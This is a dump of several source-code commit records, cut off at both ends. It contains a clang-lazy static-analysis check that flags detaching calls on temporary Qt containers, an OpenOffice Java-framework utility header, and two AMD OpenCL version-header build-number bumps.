m_writeMethodsByType[\"QListSpecialMethods\"] = {\"sort\", \"replaceInStrings\", \"removeDuplicates\"};\n m_writeMethodsByType[\"QStringList\"] = m_writeMethodsByType[\"QListSpecialMethods\"];\n}\n\nbool isAllowedChainedClass(const std::string &className)\n{\n static const vector<string> allowed = {\"QString\", \"QByteArray\", \"QVariant\"};\n return find(allowed.cbegin(), allowed.cend(), className) != allowed.cend();\n}\n\nbool isAllowedChainedMethod(const std::string &methodName)\n{\n static const vector<string> allowed = {\"QMap::keys\", \"QMap::values\", \"QHash::keys\", \"QMap::values\",\n \"QApplication::topLevelWidgets\", \"QAbstractItemView::selectedIndexes\",\n \"QListWidget::selectedItems\", \"QFile::encodeName\", \"QFile::decodeName\",\n \"QItemSelectionModel::selectedRows\", \"QTreeWidget::selectedItems\",\n \"QTableWidget::selectedItems\", \"QNetworkReply::rawHeaderList\",\n \"Mailbox::address\", \"QItemSelection::indexes\", \"QItemSelectionModel::selectedIndexes\",\n \"QMimeData::formats\", \"i18n\"};\n return find(allowed.cbegin(), allowed.cend(), methodName) != allowed.cend();\n}\n\nvoid DetachingTemporary::VisitStmt(clang::Stmt *stm)\n{\n CallExpr *callExpr = dyn_cast<CallExpr>(stm);\n if (!callExpr)\n return;\n\n\n \/\/ For a chain like getList().first(), returns {first(), getList()}\n vector<CallExpr *> callExprs = Utils::callListForChain(callExpr);\n if (callExprs.size() < 2)\n return;\n\n CallExpr *firstCallToBeEvaluated = callExprs.at(callExprs.size() - 1); \/\/ This is the call to getList()\n FunctionDecl *firstFunc = firstCallToBeEvaluated->getDirectCallee();\n if (!firstFunc)\n return;\n\n\n QualType qt = firstFunc->getReturnType();\n const Type *firstFuncReturnType = qt.getTypePtrOrNull();\n if (!firstFuncReturnType)\n return;\n\n if (firstFuncReturnType->isReferenceType() || firstFuncReturnType->isPointerType())\n return;\n\n if (qt.isConstQualified()) {\n return; \/\/ const doesn't detach\n }\n\n CXXMethodDecl *firstMethod = dyn_cast<CXXMethodDecl>(firstFunc);\n if (isAllowedChainedMethod(StringUtils::qualifiedMethodName(firstFunc))) {\n return;\n }\n\n if (firstMethod && isAllowedChainedClass(firstMethod->getParent()->getNameAsString())) {\n return;\n }\n\n \/\/ Check if this is a QGlobalStatic\n if (firstMethod && firstMethod->getParent()->getNameAsString() == \"QGlobalStatic\") {\n return;\n }\n\n CallExpr *secondCallToBeEvaluated = callExprs.at(callExprs.size() - 2); \/\/ This is the call to first()\n FunctionDecl *detachingFunc = secondCallToBeEvaluated->getDirectCallee();\n CXXMethodDecl *detachingMethod = detachingFunc ? dyn_cast<CXXMethodDecl>(detachingFunc) : nullptr;\n const Type *detachingMethodReturnType = detachingMethod ? detachingMethod->getReturnType().getTypePtrOrNull() : nullptr;\n if (!detachingMethod || !detachingMethodReturnType)\n return;\n\n \/\/ Check if it's one of the implicit shared classes\n CXXRecordDecl *classDecl = detachingMethod->getParent();\n const std::string className = classDecl->getNameAsString();\n\n auto it = m_methodsByType.find(className);\n auto it2 = m_writeMethodsByType.find(className);\n\n std::vector<std::string> allowedFunctions;\n std::vector<std::string> allowedWriteFunctions;\n if (it != m_methodsByType.end()) {\n allowedFunctions = it->second;\n }\n\n if (it2 != m_writeMethodsByType.end()) {\n allowedWriteFunctions = it2->second;\n }\n\n \/\/ Check if it's one of the detaching methods\n const std::string functionName = detachingMethod->getNameAsString();\n\n string error;\n\n const bool isReadFunction = std::find(allowedFunctions.cbegin(), allowedFunctions.cend(), functionName) != allowedFunctions.cend();\n const bool isWriteFunction = std::find(allowedWriteFunctions.cbegin(), allowedWriteFunctions.cend(), functionName) != allowedWriteFunctions.cend();\n\n if (isReadFunction || isWriteFunction) {\n\n\n bool returnTypeIsIterator = false;\n CXXRecordDecl *returnRecord = detachingMethodReturnType->getAsCXXRecordDecl();\n if (returnRecord) {\n returnTypeIsIterator = returnRecord->getNameAsString() == \"iterator\";\n }\n\n if (isWriteFunction && (detachingMethodReturnType->isVoidType() || returnTypeIsIterator)) {\n error = std::string(\"Modifying temporary container is pointless and it also detaches\");\n } else {\n error = std::string(\"Don't call \") + StringUtils::qualifiedMethodName(detachingMethod) + std::string(\"() on temporary\");\n }\n }\n\n\n if (!error.empty())\n emitWarning(stm->getLocStart(), error.c_str());\n}\n\nbool DetachingTemporary::isDetachingMethod(CXXMethodDecl *method) const\n{\n if (!method)\n return false;\n\n CXXRecordDecl *record = method->getParent();\n if (!record)\n return false;\n\n if (DetachingBase::isDetachingMethod(method))\n return true;\n\n const string className = record->getNameAsString();\n\n auto it = m_writeMethodsByType.find(className);\n if (it != m_writeMethodsByType.cend()) {\n const auto &methods = it->second;\n auto it2 = find(methods.cbegin(), methods.cend(), method->getNameAsString());\n if (it2 != methods.cend())\n return true;\n }\n\n return false;\n}\n\nREGISTER_CHECK_WITH_FLAGS(\"detaching-temporary\", DetachingTemporary, CheckLevel1)\n<commit_msg>detaching-temporary: Blacklist++<commit_after>\/*\n This file is part of the clang-lazy static checker.\n\n Copyright (C) 2015 Klarälvdalens Datakonsult AB, a KDAB Group company, info@kdab.com\n Author: Sérgio Martins <sergio.martins@kdab.com>\n\n Copyright (C) 2015 Sergio Martins <smartins@kde.org>\n\n This program is free software; you can redistribute it and\/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License along\n with this program; if not, write to the Free Software Foundation, Inc.,\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n\n As a special exception, permission is given to link this program\n with any edition of Qt, and distribute the resulting executable,\n without including the source code for Qt in the source distribution.\n*\/\n\n#include \"checkmanager.h\"\n#include \"detachingtemporary.h\"\n#include \"Utils.h\"\n#include \"StringUtils.h\"\n\n#include <clang\/AST\/DeclCXX.h>\n#include <clang\/AST\/Expr.h>\n#include <clang\/AST\/ExprCXX.h>\n\nusing namespace clang;\nusing namespace std;\n\nDetachingTemporary::DetachingTemporary(const std::string &name)\n : DetachingBase(name)\n{\n \/\/ Extra stuff that isn't really related to detachments but doesn't make sense to call on temporaries\n m_writeMethodsByType[\"QString\"] = {\"push_back\", \"push_front\", \"clear\", \"chop\"};\n m_writeMethodsByType[\"QList\"] = {\"takeAt\", \"takeFirst\", \"takeLast\", \"removeOne\", \"removeAll\", \"erase\"};\n m_writeMethodsByType[\"QVector\"] = { \"fill\", \"insert\"};\n m_writeMethodsByType[\"QMap\"] = { \"erase\", \"insert\", \"insertMulti\", \"remove\", \"take\", \"unite\" };\n m_writeMethodsByType[\"QHash\"] = { \"erase\", \"insert\", \"insertMulti\", \"remove\", \"take\", \"unite\"};\n m_writeMethodsByType[\"QMultiHash\"] = m_writeMethodsByType[\"QHash\"];\n m_writeMethodsByType[\"QMultiMap\"] = m_writeMethodsByType[\"QMap\"];\n m_writeMethodsByType[\"QLinkedList\"] = {\"takeFirst\", \"takeLast\", \"removeOne\", \"removeAll\", \"erase\"};\n m_writeMethodsByType[\"QSet\"] = {\"erase\", \"insert\", \"intersect\", \"unite\", \"subtract\"};\n m_writeMethodsByType[\"QStack\"] = {\"push\", \"swap\"};\n m_writeMethodsByType[\"QQueue\"] = {\"enqueue\", \"swap\"};\n m_writeMethodsByType[\"QListSpecialMethods\"] = {\"sort\", \"replaceInStrings\", \"removeDuplicates\"};\n m_writeMethodsByType[\"QStringList\"] = m_writeMethodsByType[\"QListSpecialMethods\"];\n}\n\nbool isAllowedChainedClass(const std::string &className)\n{\n static const vector<string> allowed = {\"QString\", \"QByteArray\", \"QVariant\"};\n return find(allowed.cbegin(), allowed.cend(), className) != allowed.cend();\n}\n\nbool isAllowedChainedMethod(const std::string &methodName)\n{\n static const vector<string> allowed = {\"QMap::keys\", \"QMap::values\", \"QHash::keys\", \"QMap::values\",\n \"QApplication::topLevelWidgets\", \"QAbstractItemView::selectedIndexes\",\n \"QListWidget::selectedItems\", \"QFile::encodeName\", \"QFile::decodeName\",\n \"QItemSelectionModel::selectedRows\", \"QTreeWidget::selectedItems\",\n \"QTableWidget::selectedItems\", \"QNetworkReply::rawHeaderList\",\n \"Mailbox::address\", \"QItemSelection::indexes\", \"QItemSelectionModel::selectedIndexes\",\n \"QMimeData::formats\", \"i18n\", \"QAbstractTransition::targetStates\"};\n return find(allowed.cbegin(), allowed.cend(), methodName) != allowed.cend();\n}\n\nvoid DetachingTemporary::VisitStmt(clang::Stmt *stm)\n{\n CallExpr *callExpr = dyn_cast<CallExpr>(stm);\n if (!callExpr)\n return;\n\n\n \/\/ For a chain like getList().first(), returns {first(), getList()}\n vector<CallExpr *> callExprs = Utils::callListForChain(callExpr);\n if (callExprs.size() < 2)\n return;\n\n CallExpr *firstCallToBeEvaluated = callExprs.at(callExprs.size() - 1); \/\/ This is the call to getList()\n FunctionDecl *firstFunc = firstCallToBeEvaluated->getDirectCallee();\n if (!firstFunc)\n return;\n\n\n QualType qt = firstFunc->getReturnType();\n const Type *firstFuncReturnType = qt.getTypePtrOrNull();\n if (!firstFuncReturnType)\n return;\n\n if (firstFuncReturnType->isReferenceType() || firstFuncReturnType->isPointerType())\n return;\n\n if (qt.isConstQualified()) {\n return; \/\/ const doesn't detach\n }\n\n CXXMethodDecl *firstMethod = dyn_cast<CXXMethodDecl>(firstFunc);\n if (isAllowedChainedMethod(StringUtils::qualifiedMethodName(firstFunc))) {\n return;\n }\n\n if (firstMethod && isAllowedChainedClass(firstMethod->getParent()->getNameAsString())) {\n return;\n }\n\n \/\/ Check if this is a QGlobalStatic\n if (firstMethod && firstMethod->getParent()->getNameAsString() == \"QGlobalStatic\") {\n return;\n }\n\n CallExpr *secondCallToBeEvaluated = callExprs.at(callExprs.size() - 2); \/\/ This is the call to first()\n FunctionDecl *detachingFunc = secondCallToBeEvaluated->getDirectCallee();\n CXXMethodDecl *detachingMethod = detachingFunc ? dyn_cast<CXXMethodDecl>(detachingFunc) : nullptr;\n const Type *detachingMethodReturnType = detachingMethod ? detachingMethod->getReturnType().getTypePtrOrNull() : nullptr;\n if (!detachingMethod || !detachingMethodReturnType)\n return;\n\n \/\/ Check if it's one of the implicit shared classes\n CXXRecordDecl *classDecl = detachingMethod->getParent();\n const std::string className = classDecl->getNameAsString();\n\n auto it = m_methodsByType.find(className);\n auto it2 = m_writeMethodsByType.find(className);\n\n std::vector<std::string> allowedFunctions;\n std::vector<std::string> allowedWriteFunctions;\n if (it != m_methodsByType.end()) {\n allowedFunctions = it->second;\n }\n\n if (it2 != m_writeMethodsByType.end()) {\n allowedWriteFunctions = it2->second;\n }\n\n \/\/ Check if it's one of the detaching methods\n const std::string functionName = detachingMethod->getNameAsString();\n\n string error;\n\n const bool isReadFunction = std::find(allowedFunctions.cbegin(), allowedFunctions.cend(), functionName) != allowedFunctions.cend();\n const bool isWriteFunction = std::find(allowedWriteFunctions.cbegin(), allowedWriteFunctions.cend(), functionName) != allowedWriteFunctions.cend();\n\n if (isReadFunction || isWriteFunction) {\n\n\n bool returnTypeIsIterator = false;\n CXXRecordDecl *returnRecord = detachingMethodReturnType->getAsCXXRecordDecl();\n if (returnRecord) {\n returnTypeIsIterator = returnRecord->getNameAsString() == \"iterator\";\n }\n\n if (isWriteFunction && (detachingMethodReturnType->isVoidType() || returnTypeIsIterator)) {\n error = std::string(\"Modifying temporary container is pointless and it also detaches\");\n } else {\n error = std::string(\"Don't call \") + StringUtils::qualifiedMethodName(detachingMethod) + std::string(\"() on temporary\");\n }\n }\n\n\n if (!error.empty())\n emitWarning(stm->getLocStart(), error.c_str());\n}\n\nbool DetachingTemporary::isDetachingMethod(CXXMethodDecl *method) const\n{\n if (!method)\n return false;\n\n CXXRecordDecl *record = method->getParent();\n if (!record)\n return false;\n\n if (DetachingBase::isDetachingMethod(method))\n return true;\n\n const string className = record->getNameAsString();\n\n auto it = m_writeMethodsByType.find(className);\n if (it != m_writeMethodsByType.cend()) {\n const auto &methods = it->second;\n auto it2 = find(methods.cbegin(), methods.cend(), method->getNameAsString());\n if (it2 != methods.cend())\n return true;\n }\n\n return false;\n}\n\nREGISTER_CHECK_WITH_FLAGS(\"detaching-temporary\", DetachingTemporary, CheckLevel1)\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: fwkutil.hxx,v $\n *\n * $Revision: 1.8 $\n *\n * last change: $Author: jl $ $Date: 2004-05-18 12:50:34 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#if !defined INCLUDED_JVMFWK_FWKUTIL_HXX\n#define INCLUDED_JVMFWK_FWKUTIL_HXX\n\n#include \"osl\/mutex.hxx\"\n#include \"osl\/module.hxx\"\n#include \"rtl\/byteseq.hxx\"\n#include \"libxml\/parser.h\"\n#include \"libxml\/xpath.h\"\n\n#define ENVIRONMENT_VAR_JRE_PATH \"JAVA_HOME\"\n\nnamespace jfw\n{\nosl::Mutex * getFwkMutex();\n\nrtl::ByteSequence encodeBase16(const rtl::ByteSequence& rawData);\nrtl::ByteSequence decodeBase16(const rtl::ByteSequence& data);\n\nrtl::OUString getPlatform();\n\/** \/\/Todo\n Gets the directory where the user data is written\n Can have these values:\n - ~\/.StarOffice\/user\/config (used in office)\n - arbitrary directory determined by environment variable\n - tmp directory (running out of office, e.g. regcomp)\n\n @return\n File URL of the directory\n *\/\nrtl::OUString getJavaSettingsDirectory();\n\n\nenum JFW_MODE\n{\n \/** The mode is unknown.\n *\/\n JFW_MODE_INDETERMINED,\n \/** This library is loaded in an office process.\n *\/\n JFW_MODE_OFFICE,\n \/** We are NOT in an office process. The javavendors.xml is located next to\n the jvmfwk.dll, the javasettings.xml is NEIHER created, NOR read or written.\n As class path the environment variable CLASSPATH is used. The JRE, which\n is to be used is determined by the environment variable JAVA_HOME. It must\n contain a file URL to the JRE.\n *\/\n JFW_MODE_ENV_SIMPLE\n};\n\nJFW_MODE getMode();\n\/** Get the file URL to the javasettings.xml\n *\/\nrtl::OUString getUserSettingsURL();\nrtl::OString getUserSettingsPath();\n\n\/** returns ...\/javasettings_wnt_x86.xml.\n\n Or other platform suffixes\n *\/\nrtl::OUString getSharedSettingsURL();\nrtl::OString getSharedSettingsPath();\n\/** returns ...\/javasettings.xml.\n\n *\/\nrtl::OUString getSharedSettingsURLNoPlatformSuffix();\nrtl::OString getSharedSettingsPathNoPlatformSuffix();\n\nrtl::OUString getBaseInstallation();\nrtl::OUString getVendorSettingsURL();\n\nrtl::OString getVendorSettingsPath();\n\nrtl::OUString getDirFromFile(const rtl::OUString& usFilePath);\n\nrtl::OUString getFileFromURL(const rtl::OUString& sFileURL);\n\nrtl::OUString searchFileNextToThisLib(const rtl::OUString & sFile);\nclass CNodeJava;\n\/** creates the -Djava.class.path option with the complete classpath.\n If param mode is JFW_MODE_ENV_SIMPLE then the param javaSettings is ignored.\n *\/\njavaFrameworkError makeClassPathOption(\n JFW_MODE mode, CNodeJava & javaSettings, \/*out*\/rtl::OString & sOption);\n\n\nstruct PluginLibrary;\nclass VersionInfo;\nclass CJavaInfo;\n\njavaFrameworkError getVendorPluginURLs(\n const xmlDocPtr doc,\n const xmlXPathContextPtr context,\n std::vector<PluginLibrary> * vecPlugins);\nbool isAccessibilitySupportDesired();\n\njavaFrameworkError getVersionInformation(\n const xmlDocPtr doc,\n const xmlXPathContextPtr context,\n const rtl::OString & sVendor,\n VersionInfo *pVersionInfo);\n\n\n\/** Gets the file URL to the plubin library for the currently selected Java.\n *\/\njavaFrameworkError getPluginLibrary(\n const rtl::OUString & sVendor, rtl::OUString & sLibPathe);\n\n\/** Called from writeJavaInfoData. It sets the process identifier. When\njava is to be started, then the current id is compared to the one set by\nthis function. If they are identical then the Java was selected in the\nsame process. If that Java needs a prepared environment, such as a\nLD_LIBRARY_PATH, then it must not be started in this process.\n*\/\nvoid setJavaSelected();\n\n\/** Determines if the currently selected Java was set in this process.\n\n @see setProcessId()\n *\/\nbool wasJavaSelectedInSameProcess();\n\/**\n @param pDoc\n must not be freed within the function.\n @param pJavaInfoNode\n must not be freed within the function.\n *\/\njavaFrameworkError writeElementJavaInfo(xmlDoc* pDoc,\n xmlNode* pJavaInfoNode,\n const jfw::CJavaInfo & aInfo);\n\n\njavaFrameworkError buildClassPathFromDirectory(const rtl::OUString & relPath,\n rtl::OUString & sClassPath);\n\nrtl::OUString retrieveClassPath( ::rtl::OUString const & macro );\n\n\/\/ class CProcessId\n\/\/ {\n\/\/ sal_uInt8 m_arId[16];\n\/\/ bool m_bValid;\n\/\/ public:\n\/\/ CProcessId();\n\/\/ \/**\n\/\/ If the argument is NULL or the object is invalid then\n\/\/ false is returned.\n\/\/ *\/\n\/\/ bool operator == (const sal_uInt8 * arId) const;\n\/\/ void set();\n\/\/ bool isValid() const;\n\/\/ };\n\n}\n#endif\n<commit_msg>INTEGRATION: CWS jl8 (1.8.4); FILE MERGED 2004\/07\/06 16:03:15 jl 1.8.4.2: #i30342# 2004\/06\/24 13:02:03 jl 1.8.4.1: #i30342#<commit_after>\/*************************************************************************\n *\n * $RCSfile: fwkutil.hxx,v $\n *\n * $Revision: 1.9 $\n *\n * last change: $Author: hr $ $Date: 2004-07-23 11:55:20 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#if !defined INCLUDED_JVMFWK_FWKUTIL_HXX\n#define INCLUDED_JVMFWK_FWKUTIL_HXX\n\n#include \"osl\/mutex.hxx\"\n#include \"osl\/module.hxx\"\n#include \"rtl\/byteseq.hxx\"\n#include \"libxml\/parser.h\"\n#include \"libxml\/xpath.h\"\n\n#define ENVIRONMENT_VAR_JRE_PATH \"JAVA_HOME\"\n\nnamespace jfw\n{\nosl::Mutex * getFwkMutex();\n\nrtl::ByteSequence encodeBase16(const rtl::ByteSequence& rawData);\nrtl::ByteSequence decodeBase16(const rtl::ByteSequence& data);\n\nrtl::OUString getPlatform();\n\/** \/\/Todo\n Gets the directory where the user data is written\n Can have these values:\n - ~\/.StarOffice\/user\/config (used in office)\n - arbitrary directory determined by environment variable\n - tmp directory (running out of office, e.g. regcomp)\n\n @return\n File URL of the directory\n *\/\nrtl::OUString getJavaSettingsDirectory();\n\n\nenum JFW_MODE\n{\n \/** The mode is unknown.\n *\/\n JFW_MODE_INDETERMINED,\n \/** This library is loaded in an office process.\n *\/\n JFW_MODE_OFFICE,\n \/** We are NOT in an office process. The javavendors.xml is located next to\n the jvmfwk.dll, the javasettings.xml is NEIHER created, NOR read or written.\n As class path the environment variable CLASSPATH is used. The JRE, which\n is to be used is determined by the environment variable JAVA_HOME. It must\n contain a file URL to the JRE.\n *\/\n JFW_MODE_ENV_SIMPLE\n};\n\nJFW_MODE getMode();\n\/** Get the file URL to the javasettings.xml\n *\/\nrtl::OUString getUserSettingsURL();\nrtl::OString getUserSettingsPath();\n\n\/** returns ...\/javasettings_wnt_x86.xml.\n\n Or other platform suffixes\n *\/\nrtl::OUString getSharedSettingsURL();\nrtl::OString getSharedSettingsPath();\n\/** returns ...\/javasettings.xml.\n\n *\/\nrtl::OUString getSharedSettingsURLNoPlatformSuffix();\nrtl::OString getSharedSettingsPathNoPlatformSuffix();\n\nrtl::OUString getBaseInstallation();\nrtl::OUString getVendorSettingsURL();\n\nrtl::OString getVendorSettingsPath();\n\nrtl::OUString getDirFromFile(const rtl::OUString& usFilePath);\n\nrtl::OUString getFileFromURL(const rtl::OUString& sFileURL);\n\nrtl::OUString searchFileNextToThisLib(const rtl::OUString & sFile);\nclass CNodeJava;\n\/** creates the -Djava.class.path option with the complete classpath.\n If param mode is JFW_MODE_ENV_SIMPLE then the param javaSettings is ignored.\n *\/\njavaFrameworkError makeClassPathOption(\n JFW_MODE mode, CNodeJava & javaSettings, \/*out*\/rtl::OString & sOption);\n\n\nstruct PluginLibrary;\nclass VersionInfo;\nclass CJavaInfo;\n\njavaFrameworkError getVendorPluginURLs(\n const xmlDocPtr doc,\n const xmlXPathContextPtr context,\n std::vector<PluginLibrary> * vecPlugins);\n\n\njavaFrameworkError getSupportedVendors(\n const xmlDocPtr doc,\n const xmlXPathContextPtr context,\n std::vector<rtl::OUString> * vecVendors);\n\nbool isAccessibilitySupportDesired();\n\n\n\njavaFrameworkError getVersionInformation(\n const xmlDocPtr doc,\n const xmlXPathContextPtr context,\n const rtl::OUString & sVendor,\n VersionInfo *pVersionInfo);\n\n\n\/** Gets the file URL to the plubin library for the currently selected Java.\n *\/\njavaFrameworkError getPluginLibrary(\n const rtl::OUString & sVendor, rtl::OUString & sLibPathe);\n\n\/** Called from writeJavaInfoData. It sets the process identifier. When\njava is to be started, then the current id is compared to the one set by\nthis function. If they are identical then the Java was selected in the\nsame process. If that Java needs a prepared environment, such as a\nLD_LIBRARY_PATH, then it must not be started in this process.\n*\/\nvoid setJavaSelected();\n\n\/** Determines if the currently selected Java was set in this process.\n\n @see setProcessId()\n *\/\nbool wasJavaSelectedInSameProcess();\n\/**\n @param pDoc\n must not be freed within the function.\n @param pJavaInfoNode\n must not be freed within the function.\n *\/\njavaFrameworkError writeElementJavaInfo(xmlDoc* pDoc,\n xmlNode* pJavaInfoNode,\n const jfw::CJavaInfo & aInfo);\n\n\njavaFrameworkError buildClassPathFromDirectory(const rtl::OUString & relPath,\n rtl::OUString & sClassPath);\n\nrtl::OUString retrieveClassPath( ::rtl::OUString const & macro );\n\n\/\/ class CProcessId\n\/\/ {\n\/\/ sal_uInt8 m_arId[16];\n\/\/ bool m_bValid;\n\/\/ public:\n\/\/ CProcessId();\n\/\/ \/**\n\/\/ If the argument is NULL or the object is invalid then\n\/\/ false is returned.\n\/\/ *\/\n\/\/ bool operator == (const sal_uInt8 * arId) const;\n\/\/ void set();\n\/\/ bool isValid() const;\n\/\/ };\n\n}\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n#define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n#define AMD_PLATFORM_BUILD_NUMBER 2552\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n#define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n#define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING \\\n XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n#define AMD_PLATFORM_INFO \\\n \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO DEBUG_ONLY( \\\n \".\" IF(IS_OPTIMIZED, \"opt\", \"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<commit_msg>P4 to Git Change 1492088 by johtaylo@johtaylo-jtincrementor2-increment on 2017\/12\/08 03:00:14<commit_after>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n#define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n#define AMD_PLATFORM_BUILD_NUMBER 2553\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n#define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n#define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING \\\n XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n#define AMD_PLATFORM_INFO \\\n \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO DEBUG_ONLY( \\\n \".\" IF(IS_OPTIMIZED, \"opt\", \"dbg\")) \" (\" AMD_BUILD_STRING \")\"\n#endif \/\/ ATI_PLATFORM_INFO\n\n#endif \/\/ VERSIONS_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2010 Advanced Micro Devices, Inc. All rights reserved.\n\/\/\n\n#ifndef VERSIONS_HPP_\n#define VERSIONS_HPP_\n\n#include \"utils\/macros.hpp\"\n\n#ifndef AMD_PLATFORM_NAME\n#define AMD_PLATFORM_NAME \"AMD Accelerated Parallel Processing\"\n#endif \/\/ AMD_PLATFORM_NAME\n\n#ifndef AMD_PLATFORM_BUILD_NUMBER\n#define AMD_PLATFORM_BUILD_NUMBER 2788\n#endif \/\/ AMD_PLATFORM_BUILD_NUMBER\n\n#ifndef AMD_PLATFORM_REVISION_NUMBER\n#define AMD_PLATFORM_REVISION_NUMBER 0\n#endif \/\/ AMD_PLATFORM_REVISION_NUMBER\n\n#ifndef AMD_PLATFORM_RELEASE_INFO\n#define AMD_PLATFORM_RELEASE_INFO\n#endif \/\/ AMD_PLATFORM_RELEASE_INFO\n\n#define AMD_BUILD_STRING \\\n XSTR(AMD_PLATFORM_BUILD_NUMBER) \\\n \".\" XSTR(AMD_PLATFORM_REVISION_NUMBER)\n\n#ifndef AMD_PLATFORM_INFO\n#define AMD_PLATFORM_INFO \\\n \"AMD-APP\" AMD_PLATFORM_RELEASE_INFO DEBUG_ONLY( \\\n \".\" IF(IS_OPTIMIZED, \"opt\", \"dbg\")) \" (\" 